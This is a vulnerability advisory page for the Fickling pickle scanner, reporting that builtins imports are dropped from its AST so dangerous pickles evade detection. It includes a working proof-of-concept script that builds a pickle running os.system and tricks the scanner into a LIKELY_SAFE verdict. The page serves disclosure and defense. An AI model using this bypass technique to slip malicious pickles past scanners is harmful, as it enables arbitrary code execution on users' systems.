Alta

Fickling vulnerable to detection bypass due to "builtins" blindness

  • Publicada: 09.01.2026
  • Actualizado: 11.10.2026 13:19

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

Original report

Summary

Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

python
    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import

fickling/fickling/analysis.py

python
UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

python
import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

python
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED" We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.

The end result is that the malicious pickle gets classified as LIKELY_SAFE

Fixes: Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) fickling < 0.1.7 0.1.7

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Debilidad (CWE)
CWE-502
Plataforma
Python (PyPI)
Paquete
fickling
Publicada
09.01.2026
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1370 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-h4rm-mm56-xf63 - CC BY 4.0

Historial de vulnerabilidades: fickling

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (16) en el archivo
Entradas en total
16
Primera → última
12.2025 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 11
  • Media 3
  • Baja 1

Divulgaciones por año

  1. 2025: 2
  2. 2026: 14
Gravedad:
  1. Alta ghsa-5hwf-rc88-82xm < 0.1.9 0.1.9
  2. Fickling vulnerable to detection bypass due to "builtins" blindness esta entrada
    Alta CVE-2026-22612 < 0.1.7 0.1.7
  3. Alta CVE-2026-22607 < 0.1.7 0.1.7

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